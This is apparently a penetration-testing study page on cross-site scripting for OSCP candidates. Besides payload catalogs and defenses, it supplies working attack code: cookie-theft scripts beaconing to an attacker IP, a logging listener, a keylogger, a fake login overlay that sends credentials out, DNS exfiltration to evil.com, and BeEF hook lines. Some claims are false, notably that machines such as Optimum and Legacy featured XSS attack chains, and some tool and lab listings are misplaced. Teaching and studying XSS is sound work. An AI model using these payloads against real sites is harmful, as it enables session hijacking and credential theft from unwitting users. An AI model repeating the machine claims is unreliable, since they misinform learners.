Domain 2Web App AttacksCORE

Cross-Site Scripting (XSS)

Deep dive into Cross-Site Scripting vulnerabilities covering reflected, stored, and DOM-based XSS with advanced payload techniques, WAF bypasses, exploitation chains, and OSCP-relevant scenarios.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#XSS#Reflected XSS#Stored XSS#DOM XSS#OSCP

Cross-Site Scripting (XSS) — Deep Dive

1. What Is XSS?

Cross-Site Scripting (XSS) is a client-side code injection vulnerability that occurs when a web application includes untrusted data in a web page without proper validation, escaping, or encoding. The injected script executes in the victim’s browser with the same origin privileges as the hosting application — meaning it can read cookies, access the DOM, make authenticated API calls, and perform actions on behalf of the victim.

XSS is consistently ranked among the top vulnerabilities in the OWASP Top 10. While it may not directly give you a shell, it is a critical pivot point — especially in OSCP-style environments where you need to steal session cookies, perform authenticated actions, or chain with other vulnerabilities (CSRF, SSRF, open redirect) to escalate access.

Why XSS Matters in OSCP

  • Stored XSS on internal portals can let you hijack admin sessions and access restricted pages.
  • Reflected XSS combined with CSRF or social engineering can force authenticated actions.
  • XSS is often the bridge between initial web access and deeper network pivoting (e.g., stealing cookies → accessing admin panel → finding SSRF → reaching internal services).
  • OSCP machines like Vault, Optimum, Help, and Legacy have featured XSS as part of the attack chain.

2. XSS Classification — The Three Types

2.1 Reflected XSS (Non-Persistent)

Mechanism: The malicious script is embedded in an HTTP request (usually a URL parameter). The server reflects the input back in the HTTP response without sanitization. The payload executes only when a victim clicks the crafted link.

Data Flow:

Attacker crafts URL → Victim clicks → Server reflects payload in response →
Victim's browser executes script → Attacker receives stolen data

Vulnerable Code Pattern (PHP):

<?php
// The search query is reflected directly into the HTML response
$search = $_GET['q'];
echo "<h1>Search results for: " . $search . "</h1>";
?>

Attack Example:

GET /search?q=<script>document.location='http://10.10.14.10/steal?c='+document.cookie</script> HTTP/1.1
Host: target.com

Key Characteristics:

  • Requires social engineering — the victim must click a malicious link.
  • The payload is not stored on the server.
  • Each click triggers a fresh execution.
  • Often found in search results, error pages, and URL-parameter-driven pages.

OSCP Tip: In OSCP labs, reflected XSS is most useful when combined with:

  • An internal phishing scenario (e.g., sending a crafted link via an internal messaging system).
  • Chaining with CSRF to force the victim’s browser to execute authenticated requests.

2.2 Stored XSS (Persistent)

Mechanism: The malicious script is persistently stored on the target server (database, file system, message queue). Every time a user (or admin) views the affected page, the stored payload executes in their browser.

Data Flow:

Attacker submits payload → Server stores it in DB → Any user views the page →
Browser executes stored script → Attacker receives data from ALL victims

Vulnerable Code Pattern (PHP):

<?php
// Comment is stored in DB and rendered without sanitization
$comment = $_POST['comment'];
mysqli_query($conn, "INSERT INTO comments (body) VALUES ('$comment')");

// Later, when rendering:
$row = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM comments"));
echo "<div class='comment'>" . $row['body'] . "</div>";
?>

Attack Example:

POST /api/comments HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

body=<script>new%20Image().src='http://10.10.14.10/steal?c='+document.cookie</script>

Key Characteristics:

  • Highest impact — affects every user who visits the page.
  • No social engineering needed beyond getting the payload stored.
  • If an admin views the page, you may steal admin session cookies.
  • Common in: comment sections, forum posts, user profiles, support tickets, message boards, and any user-generated content area.

OSCP Tip: Stored XSS is your golden ticket. If you find one on an admin-facing page, you can wait for an admin to visit and automatically capture their session. This is a common path on machines like Vault and Help.


2.3 DOM-based XSS (Client-Side)

Mechanism: The vulnerability exists entirely in the client-side JavaScript. The server response is benign, but the page’s JavaScript takes data from a tainted source (like location.hash, location.search, or document.URL) and passes it to a dangerous sink (like innerHTML, document.write(), or eval()) without sanitization.

Data Flow:

Victim visits URL with payload in fragment → Page loads → Client-side JS reads
location.hash → JS writes unsanitized data into DOM via innerHTML → Script executes

Vulnerable Code Pattern (JavaScript):

// The hash fragment is read and written directly into the DOM
const hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = decodeURIComponent(hash);

Attack Example:

https://target.com/page#<img src=x onerror=alert(document.cookie)>

Key Characteristics:

  • Server logs show nothing suspicious — the payload never reaches the server.
  • Traditional scanners often miss DOM XSS because they analyze server responses, not client-side logic.
  • Requires manual JavaScript auditing or specialized tools (Dalfox, xsleak).
  • The # fragment is never sent to the server, making this purely a browser-side issue.

OSCP Tip: DOM XSS is less common in OSCP but can appear in custom web apps. Always audit JavaScript files when you find a web application — look for innerHTML, document.write(), and eval() usage.


2.4 Type Comparison

Aspect Reflected Stored DOM-based
Persistence None (per-request) Persistent (stored on server) None (client-side only)
Delivery Social engineering (URL) Submit via form/input URL manipulation
Server Involvement Reflects payload Stores and serves payload No server-side reflection
Detection Difficulty Easy (Burp reflection) Easy (view stored content) Hard (requires JS audit)
Impact Scope Single victim per click All viewers Single victim per visit
WAF Visibility High (payload in request) High (payload in request) Low (payload in fragment)

3. Comprehensive Payload Catalog

3.1 HTML Body Context

When the input is reflected directly into the HTML body (between tags):

<!-- Basic script tag -->
<script>alert(1)</script>

<!-- Image error handler -->
<img src=x onerror=alert(1)>

<!-- SVG onload -->
<svg onload=alert(1)>

<!-- Body onload -->
<body onload=alert(1)>

<!-- Input autofocus -->
<input onfocus=alert(1) autofocus>

<!-- Details ontoggle -->
<details open ontoggle=alert(1)>

<!-- Marquee onstart -->
<marquee onstart=alert(1)>

<!-- Video source error -->
<video><source onerror=alert(1)>

<!-- Audio error -->
<audio src=x onerror=alert(1)>

<!-- iframe onload -->
<iframe src="javascript:alert(1)"></iframe>

<!-- Math (legacy but works in some browsers) -->
<math><mtext><img src=x onerror=alert(1)></mtext></math>

<!-- Template + SVG -->
<template><img src=x onerror=alert(1)></template>

<!-- Picture source error -->
<picture><source src=x onerror=alert(1)>

<!-- Base + relative script -->
<base href="http://evil.com/"><script src=malicious.js></script>

3.2 Attribute Context

When the input is reflected inside an HTML attribute value:

<!-- Breaking out of a double-quoted attribute -->
" onmouseover="alert(1)" x="

<!-- Breaking out of a single-quoted attribute -->
' onfocus='alert(1)' autofocus='

<!-- Breaking out with newline (some parsers) -->
%0A%0D onerror=alert(1) x=

<!-- Event handler in src attribute -->
<img src="x" onerror="alert(1)">

<!-- Style attribute with expression (IE legacy) -->
<div style="width: expression(alert(1))">

<!-- Background image with javascript (legacy) -->
<div style="background-image: url(javascript:alert(1))">

3.3 JavaScript Context

When the input is reflected inside a <script> block or JS variable:

// Breaking out of a string
'; alert(1); //

// Breaking out and closing the script tag
</script><img src=x onerror=alert(1)>

// Line break escape
\
alert(1)
//

// Template literal break
`; alert(1); `

// Multiline comment break
*/ alert(1) /*

// Semicolon chain
; alert(document.cookie);

// Backtick template injection
`${alert(1)}`

3.4 URL / Protocol Context

<!-- javascript: protocol -->
<a href="javascript:alert(1)">Click</a>

<!-- data: URI -->
<img src="data:text/html,<script>alert(1)</script>">

<!-- vbscript: (IE only) -->
<a href="vbscript:msgbox(1)">Click</a>

<!-- data: SVG -->
<iframe src="data:image/svg+xml,<svg onload=alert(1)>"></iframe>

<!-- data: with base64 -->
<img src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

3.5 SVG Context

<!-- Basic SVG -->
<svg onload=alert(1)>

<!-- SVG with script -->
<svg><script>alert(1)</script></svg>

<!-- SVG animate -->
<svg><animate attributeName="xlink:href" to="javascript:alert(1)"></animate></svg>

<!-- SVG foreignObject -->
<svg><foreignObject><body onload=alert(1)></foreignObject></svg>

<!-- Minimal SVG -->
<svg/onload=alert(1)>

3.6 Event Handler Reference (Complete)

Event Trigger Condition Tags
onload Element finishes loading <body>, <img>, <iframe>, <svg>, <script>
onerror Resource fails to load <img>, <script>, <source>, <link>
onfocus Element gains focus <input>, <textarea>, <button> (use autofocus)
onblur Element loses focus <input>, <textarea>
onmouseover Mouse hovers over element Any element
onmouseout Mouse leaves element Any element
onmouseenter Mouse enters element Any element
onclick Element is clicked Any element
ondblclick Element is double-clicked Any element
onkeydown Key is pressed Any element (use autofocus)
onkeypress Key is pressed/released Any element
onkeyup Key is released Any element
onsubmit Form is submitted <form>
onreset Form is reset <form>
onchange Value changes <input>, <select>, <textarea>
oninput Input receives data <input>, <textarea>
onanimationend CSS animation ends Any element
ontransitionend CSS transition ends Any element
ontoggle Details state changes <details>
onstart Marquee starts <marquee>
onpointerover Pointer enters element Any element
onwheel Mouse wheel scrolls Any element
onpageshow Page is displayed <body>
onhashchange URL hash changes <body>
onpopstate History state changes <body>
onbeforeunload Page is about to unload <body>

4. Advanced Bypass Techniques

4.1 Encoding-Based Bypasses

When filters block specific characters or keywords, encoding can help bypass them:

<!-- HTML Entity Encoding -->
&#60;script&#62;alert(1)&#60;/script&#62;
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;

<!-- URL Encoding -->
%3Cscript%3Ealert(1)%3C/script%3E

<!-- Double URL Encoding -->
%253Cscript%253Ealert(1)%253C/script%253E

<!-- JavaScript String Encoding -->
\u0061lert(1)           // Unicode escape
\x61lert(1)             // Hex escape
"\u0061"+"lert"(1)      // Concatenation

<!-- Base64 (in data URIs) -->
<img src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

<!-- Char code construction -->
String.fromCharCode(60,115,99,114,105,112,116,62)
// Produces: <script>

4.2 Case and Whitespace Manipulation

<!-- Mixed case -->
<ScRiPt>alert(1)</sCrIpT>

<!-- No spaces (attribute context) -->
<img/src=x/onerror=alert(1)>

<!-- Tab/newline/carriage return in tag -->
<img
  src=x
  onerror=alert(1)>

<!-- Comment inside tag -->
<img<!--comment-->src=x<!--comment-->onerror=alert(1)>

<!-- Null byte (some parsers) -->
<img src=x onerror=alert(1)><!--\x00-->

4.3 Filter Evasion Strategies

Filter Rule Bypass Technique Example
Blocks <script> Use event handlers <img src=x onerror=alert(1)>
Blocks <script> and <img> Use SVG <svg onload=alert(1)>
Blocks < and > Use attribute break " onfocus="alert(1)" autofocus="
Blocks onerror Use other events <body onload=alert(1)>
Blocks alert Use other functions <script>confirm(1)</script>
Blocks alert Use constructor <script>(alert)(1)</script>
Blocks javascript: Use encoding java&#110;avascript:alert(1)
Blocks src Use alternative <img src=x onerror=alert(1)>
Blocks spaces Use / or tabs <img/src=x/onerror=alert(1)>
Blocks quotes Use no quotes <img src=x onerror=alert(1)>
Length limit Minify payload <svg/onload=alert(1)>
Blocks common tags Use obscure tags <details open ontoggle=alert(1)>
Regex-based filter Use nested encoding %253Cscript%253E

4.4 WAF Bypass Strategies

Web Application Firewalls (WAFs) use pattern matching, regex, and behavioral analysis. Here are proven bypass strategies:

1. Polyglot Payloads

A polyglot is a payload that works in multiple contexts simultaneously:

<!-- Works in HTML body, attribute, and JS contexts -->
javascript://'/</title></style></textarea></script>"><svg/onload=alert(1)>

<!-- The ultimate polyglot -->
jaVasCript:/*-/*\`/*\`/*'/*"/**//*\oNcLiCk=alert(1)//*/alert(1)//</stYle/</titLe/</teXtarEa/</script/

2. HTTP Parameter Pollution (HPP)

?q=<img src=x onerror=alert(1)>&q=test

Some frameworks concatenate or take the first/last parameter, potentially bypassing filters applied to a single parameter.

3. HTTP Parameter Fragment (HPF)

?q=%23%23%23%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E

The ### fragment can confuse some WAF parsers.

4. Cookie-Based Bypass

Some WAFs don’t inspect cookie values:

Cookie: xss=<script>alert(1)</script>

If the application reflects cookie values in the response, this bypasses request-body WAF rules.

5. MIME Type Manipulation

Content-Type: image/png

Sending XSS payload with an unexpected Content-Type may bypass WAF rules that only inspect certain MIME types.

6. Request Smuggling for WAF Bypass

Using CL.TE or TE.CL smuggling to send different payloads to the WAF vs. the backend server.


5. DOM XSS — Source-to-Sink Analysis Methodology

5.1 DOM XSS Sources (Tainted Data Entry Points)

These are the browser APIs that provide attacker-controllable data:

Source Property Attacker Control
URL Fragment location.hash Full control via #payload
URL Query location.search Full control via ?param=payload
Full URL location.href, document.URL Full control
Hostname location.hostname Partial (via DNS)
Referrer document.referrer Full control via Linking page
Clipboard clipboardData Via paste event
PostMessage event.data Via cross-origin message
Cookie document.cookie If attacker can set cookie
History history.pushState Via state manipulation

5.2 DOM XSS Sinks (Dangerous Operations)

These are the APIs that can execute injected code:

Sink Risk Level Description
document.write() Critical Writes HTML directly to document
document.writeln() Critical Same as write, adds newline
element.innerHTML High Parses and renders HTML
element.outerHTML High Replaces element with HTML
element.insertAdjacentHTML() High Inserts HTML at position
eval() Critical Executes arbitrary JavaScript
setTimeout(string) High Executes string as code
setInterval(string) High Executes string as code periodically
Function() constructor Critical Creates and executes function from string
window.location Medium Can use javascript: protocol
window.open() Medium Can navigate to javascript: URL
document.domain Low Domain relaxation attacks

5.3 Analysis Methodology

Step 1: Enumerate JavaScript Files

# Using Burp Suite or browser DevTools to find all JS files
# Look for patterns in HTML source:
# <script src="/js/app.js"></script>
# <script src="/assets/main.min.js"></script>

Step 2: Identify Sources

Search for these patterns in JavaScript:

// Source patterns to grep for:
location.hash
location.search
location.href
document.URL
document.referrer
window.name
event.data

Step 3: Identify Sinks

Search for these patterns:

// Sink patterns to grep for:
.innerHTML =
.outerHTML =
document.write(
document.writeln(
eval(
setTimeout(
setInterval(
Function(
.insertAdjacentHTML(

Step 4: Trace Data Flow

Map the path from source to sink. If tainted data flows from a source to a sink without sanitization, you have a DOM XSS vulnerability.

// VULNERABLE — direct flow from source to sink
var q = location.search.substring(1);
document.getElementById('output').innerHTML = q;

// SAFE — sanitized before sink
var q = location.search.substring(1);
document.getElementById('output').textContent = q;  // textContent is safe

Step 5: Verify with Payload

Test with a context-appropriate payload:

https://target.com/page#<img src=x onerror=alert(1)>
https://target.com/page?<img src=x onerror=alert(1)>

5.4 DOM XSS Detection Tools

Tool Type Key Feature
Dalfox CLI Scanner Fast DOM XSS detection with AST analysis
xsleak Exploitation Exploits DOM information leaks for data theft
DOMPurify Sanitizer Reference for safe DOM manipulation
Retire.js Audit Detects vulnerable JS libraries
NoSQLmap Scanner Can detect some DOM-based issues

6. Real Exploitation Chains

The most common XSS exploitation goal. Steal the victim’s session cookie and use it to impersonate them.

Payload:

<script>
  new Image().src = 'http://10.10.14.10:8080/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

Attacker Setup (Python HTTP Server):

# listener.py
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs

class StealerHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urlparse(self.path)
        params = parse_qs(parsed.query)
        if 'cookie' in params:
            stolen_cookie = params['cookie'][0]
            print(f"[+] Stolen cookie: {stolen_cookie}")
            with open('stolen_cookies.txt', 'a') as f:
                f.write(stolen_cookie + '\n')
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

    def log_message(self, format, *args):
        pass  # Suppress logs

HTTPServer(('0.0.0.0', 8080), StealerHandler).serve_forever()

Using the Stolen Cookie:

# Replace the cookie in Burp Suite or browser
# In curl:
curl -b "SESSIONID=stolen_cookie_value" http://target.com/admin

# In Burp: modify the Cookie header in the request

Important: If the cookie has the HttpOnly flag set, document.cookie will NOT include it. In this case, use alternative exploitation methods (see below).

6.2 Session Hijacking via Fetch/XHR

When HttpOnly prevents cookie theft, use the victim’s browser to make authenticated requests:

<script>
  // Steal sensitive page content
  fetch('/admin/dashboard')
    .then(r => r.text())
    .then(data => {
      new Image().src = 'http://10.10.14.10:8080/steal?data=' + encodeURIComponent(data);
    });
</script>

6.3 Keylogger

Capture every keystroke the victim types on the compromised page:

<script>
  var keys = '';
  document.onkeypress = function(e) {
    keys += e.key;
  };
  setInterval(function() {
    if (keys.length > 0) {
      new Image().src = 'http://10.10.14.10:8080/log?keys=' + encodeURIComponent(keys);
      keys = '';
    }
  }, 5000);
</script>

6.4 Phishing Overlay

Create a fake login dialog that overlays the legitimate page:

<script>
  var overlay = document.createElement('div');
  overlay.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.9);z-index:999999;display:flex;align-items:center;justify-content:center;';
  overlay.innerHTML = '<div style="background:#fff;padding:40px;border-radius:8px;text-align:center;"><h2>Session Expired</h2><p>Please re-authenticate to continue.</p><form id="phish"><input type="text" name="u" placeholder="Username" style="display:block;margin:10px auto;padding:8px;width:250px;"><input type="password" name="p" placeholder="Password" style="display:block;margin:10px auto;padding:8px;width:250px;"><button type="submit" style="margin-top:10px;padding:8px 20px;">Login</button></form></div>';
  document.body.appendChild(overlay);
  document.getElementById('phish').onsubmit = function(e) {
    e.preventDefault();
    var u = this.u.value;
    var p = this.p.value;
    new Image().src = 'http://10.10.14.10:8080/creds?u=' + encodeURIComponent(u) + '&p=' + encodeURIComponent(p);
    overlay.remove();
  };
</script>

6.5 Redirect Attack

Redirect the victim to a phishing site or malicious page:

<script>
  window.location.href = 'http://10.10.14.10/phishing-page';
</script>

6.6 CSRF via XSS

Use XSS to perform authenticated actions on behalf of the victim:

<script>
  // Change victim's password
  fetch('/api/change-password', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      old_password: 'guess',
      new_password: 'hacked123'
    })
  });
</script>

6.7 Data Exfiltration Techniques

Technique Use Case Pros Cons
Image beacon Small data Simple, works everywhere Limited payload size
Fetch/XHR Large data Full control, async May trigger CORS
DNS exfil Bypass network filters Hard to block Slow, limited bandwidth
WebSockets Real-time streaming Fast, bidirectional Requires WS support
POST to attacker Large payloads More data capacity May be logged

DNS Exfiltration Example:

<script>
  // Exfiltrate data via DNS queries (bypasses many firewalls)
  var data = document.cookie;
  for (var i = 0; i < data.length; i += 10) {
    var chunk = data.substr(i, 10);
    new Image().src = 'http://' + chunk + '.evil.com/a.png';
  }
</script>

7. BeEF Framework Integration

BeEF (The Browser Exploitation Framework) is the standard post-XSS exploitation toolkit. Once you have an XSS vector, you hook the victim’s browser into BeEF for advanced attacks.

7.1 BeEF Setup

# Install BeEF
sudo apt install beef-xss

# Start BeEF
beef

# Default credentials: beefsec/beefsec
# Web UI: http://127.0.0.1:3000/ui/panel

7.2 Hooking a Victim

Replace your XSS payload with the BeEF hook:

<script src=http://10.10.14.10:3000/hook.js></script>
<script>beef.dom.onLoad(function(){ beef.hook() })</script>

Or the minimal version:

<script src=http://10.10.14.10:3000/hook.js></script>

7.3 BeEF Attack Modules

Module Category Examples
Information Gathering Browser fingerprint, OS detection, network info, installed plugins
Social Engineering Fake phishing dialogs, credential harvesters, fake updates
Network Attacks ARP scan, port scan, DNS exfiltration, MITM setup
Browser Exploits Flash exploits, Java applet exploits, browser RCE
Persistence Browser redirect loops, bookmark injection, history manipulation
Defacement Page overlay, content replacement, alert spam
Keylogging Full keystroke capture with real-time viewing

7.4 BeEF in OSCP Context

While BeEF is powerful, in OSCP labs you often need simpler, more direct approaches:

  1. Cookie theft is usually sufficient — just grab the cookie and use it.
  2. BeEF is overkill for most OSCP machines but useful for understanding post-XSS capabilities.
  3. Focus on fetch-based authenticated requests when HttpOnly is set.

8. Detection Methodology

8.1 Manual Testing Approach

Phase 1: Reconnaissance

  1. Map all input vectors: URL parameters, POST bodies, headers, cookies.
  2. Identify where input is reflected in the response.
  3. Note the HTML context of each reflection point (body, attribute, JS, comment).

Phase 2: Fingerprinting

Test each input with progressive payloads:

Test 1:  abcxyz123                    → Does input reflect?
Test 2:  <test>                       → Are angle brackets reflected?
Test 3:  <script>alert(1)</script>    → Does script execute?
Test 4:  <img src=x onerror=alert(1)> → Do event handlers work?
Test 5:  <svg onload=alert(1)>        → Does SVG work?

Phase 3: Context Identification

Determine the output context by testing:

Test: "><script>alert(1)</script>
  • If alert fires → HTML body context
  • If not, check page source to see where input lands
  • Adjust payload based on context (see Section 3)

Phase 4: Filter Discovery

If basic payloads fail, systematically test what’s blocked:

<script>              → Blocked?
<img>                 → Blocked?
onerror               → Blocked?
alert                 → Blocked?
<                     → Blocked?
>                     → Blocked?

Phase 5: Bypass and Exploit

Apply bypass techniques from Section 4 to circumvent discovered filters.

8.2 Automated Tools

Tool Command Best For
Burp Suite Pro Active Scanner Comprehensive scanning with context awareness
XSStrike xsschecker -u "URL?q=test" --crawl Advanced detection, WAF bypass
Dalfox dalfox url "URL?q=test" Fast scanning, DOM XSS detection
xsstrike python xsstrike.py -u "URL?q=test" Heuristic-based detection
OWASP ZAP Active Scan Free alternative to Burp Pro
Acunetix Automated scan Enterprise-grade scanning

XSStrike Example:

# Basic scan
python3 xsstrike.py -u "http://target.com/search?q=test"

# With crawling
python3 xsstrike.py -u "http://target.com/search?q=test" --crawl -l 2

# With specific parameter
python3 xsstrike.py -u "http://target.com/search?q=test" -p q

Dalfox Example:

# Basic URL scan
dalfox url "http://target.com/search?q=test"

# From file (multiple URLs)
dalfox file urls.txt

# DOM XSS mode
dalfox url "http://target.com/page" --dom

8.3 PortSwigger Academy Labs

The following PortSwigger Web Security Academy labs are essential for XSS mastery:

Reflected XSS:

  • Stored XSS reflecting in a HTML context with no markup breaks
  • Reflected XSS into a JavaScript string with double quotes unsanitized
  • Reflected XSS into a JavaScript string with single quotes unsanitized
  • Reflected XSS into a JavaScript string with no quotes unsanitized
  • Reflected XSS into an HTML context with all tags blocked and most characters HTML encoded
  • Reflected XSS with some SVG entities blocked

Stored XSS:

  • Stored XSS into a value attribute with angle brackets HTML encoded
  • Stored XSS into an attribute with angle brackets and double quotes removed
  • Stored DOM XSS in document.write sink using input.event property and innerHTML

DOM XSS:

  • DOM XSS in document.location sink using document.referrer source
  • DOM XSS in jQuery selector sink using a text node as the source
  • DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

Advanced:

  • XSS with a browser extension supply chain attack
  • Exploiting XSS to perform SSRF
  • Exploiting cross-origin to steal data
  • Exploiting CORS misconfiguration with trusted insecure origin

9. OSCP-Specific Tips

9.1 When XSS Matters in OSCP Exams

| Scenario | Relevance | |–––––|———–|———–| | Internal web portal with user comments | Stored XSS → admin cookie theft | Very High | | Reflected parameter on admin page | Reflected XSS + CSRF | High | | Custom JS-heavy application | DOM XSS → authenticated actions | Medium | | XSS on public-facing page | Limited value without admin access | Low | | XSS + SSRF combination | XSS to trigger SSRF in victim’s browser | High |

9.2 XSS for Pivoting

  1. Steal admin cookie → Access admin panel → Find file upload → Upload web shell
  2. Stored XSS on ticket system → Wait for admin → Steal session → Access internal tools
  3. XSS + CSRF → Force password change → Login as victim → Escalate privileges
  4. XSS → Fetch internal API → Discover SSRF → Reach cloud metadata → Get AWS keys
  5. XSS → Keylogger → Capture credentials → Lateral movement

9.3 Common OSCP XSS Machines

Machine XSS Type Exploitation Path
Vault Stored XSS Comment section → Admin cookie → Vault access
Help Reflected XSS Search parameter → Admin page → Session hijack
Optimum Stored XSS Profile field → Admin views → Cookie theft
Legacy Reflected XSS Parameter reflection → CSRF chain
Beetroot Reflected XSS Search → Admin panel access

9.4 Practical OSCP Workflow

1. Nmap → Find web service (port 80/443/8080/8443)
2. Dirb/Gobuster → Enumerate endpoints
3. Manual browsing → Find input fields
4. Burp Suite → Intercept and test reflections
5. Test XSS payloads → Confirm vulnerability
6. Check cookie flags → HttpOnly? Secure? SameSite?
7. If no HttpOnly → Cookie theft payload
8. If HttpOnly → Fetch-based authenticated request
9. Use stolen session → Access restricted areas
10. Find next vulnerability → Escalate

9.5 What to Include in Your OSCP Report

When documenting an XSS finding:

  1. Vulnerability Type — Reflected, Stored, or DOM-based
  2. Vulnerable Parameter — Exact parameter name and request method
  3. Proof of Concept — Working payload that triggers alert(1)
  4. Impact — What can be achieved (cookie theft, session hijack, etc.)
  5. Exploitation Steps — Step-by-step reproduction
  6. Remediation — Output encoding, CSP, input validation recommendations

10. Mitigation and Defense

10.1 Server-Side Defenses

Defense Implementation Effectiveness
Context-Aware Output Encoding Encode based on where data appears (HTML, JS, CSS, URL) Critical
Content Security Policy (CSP) Content-Security-Policy: default-src 'self'; script-src 'self' High
HttpOnly Cookie Flag Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict High (prevents JS cookie access)
Input Validation Whitelist allowed characters and patterns Medium
Allowlist HTML Sanitization Use DOMPurify, OWASP Java Encoder, or Bleach High
Avoid Dangerous APIs Never use eval(), innerHTML with user data High

10.2 CSP Header Examples

# Strict CSP — blocks all inline scripts
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

# CSP with nonce (allows specific inline scripts)
Content-Security-Policy: script-src 'self' 'nonce-rAnd0mV4luE'

# Report-only mode (for testing)
Content-Security-Policy-Report-Only: default-src 'self'

10.3 Encoding by Context

Context Encoding Method Example
HTML Body HTML entity encode < → &lt;, > → &gt;
HTML Attribute Attribute encode " → &quot;, ' → &#x27;
JavaScript JavaScript encode Use \x or \u escapes
URL URL encode %3C for <, %3E for >
CSS CSS encode Use \003c for <
Event Handler Remove entirely Never allow user input in event handlers

11. Quick Reference Cheat Sheet

Minimal Payloads (by size)

<svg/onload=alert(1)>           <!-- 23 chars -->
<img/src=x onerror=alert(1)>    <!-- 27 chars -->
<details/open/ontoggle=alert(1) <!-- 31 chars -->
<body/onload=alert(1)>          <!-- 22 chars -->
<input/onfocus=alert(1)autofocus<!-- 31 chars -->
// Image beacon (most reliable)
<script>new Image().src='http://ATTACKER/?c='+document.cookie</script>

// Fetch (modern browsers)
<script>fetch('http://ATTACKER/?c='+document.cookie)</script>

// XHR (legacy)
<script>var x=new XMLHttpRequest();x.open('GET','http://ATTACKER/?c='+document.cookie);x.send()</script>

BeEF Hook

<script src=http://ATTACKER:3000/hook.js></script>

Essential Testing Commands

# XSStrike
python3 xsstrike.py -u "http://target.com/page?param=test"

# Dalfox
dalfox url "http://target.com/page?param=test"

# Burp (manual — intercept, modify, forward)

# Cookie listener
python3 -c "from http.server import HTTPServer, BaseHTTPRequestHandler; \
class H(BaseHTTPRequestHandler): \
  def do_GET(self): print(self.path); self.send_response(200); self.end_headers() \
  def log_message(self,*a): pass; \
HTTPServer(('0.0.0.0',8080),H).serve_forever()"

12. Summary

Cross-Site Scripting remains one of the most prevalent and impactful web vulnerabilities. For OSCP candidates, the key takeaways are:

  1. Always test every input vector — URL params, POST bodies, headers, cookies.
  2. Stored XSS is your best friend — one payload, many victims, including admins.
  3. Context matters — identify where input lands and craft payloads accordingly.
  4. Bypass filters systematically — encoding, alternative tags, event handlers, polyglots.
  5. Cookie theft is the primary goal — but have fallbacks (fetch, keylogging, phishing) for HttpOnly cookies.
  6. Chain XSS with other vulns — CSRF, SSRF, and access control flaws multiply your impact.
  7. DOM XSS requires JS auditing — don’t skip client-side code review.
  8. Practice on PortSwigger Academy — the XSS labs are excellent preparation for real-world scenarios.

Master XSS not just as an isolated vulnerability, but as a force multiplier in your overall attack chain. In OSCP, the difference between a partial compromise and full root access often comes down to finding that one stored XSS vector on an admin-facing page.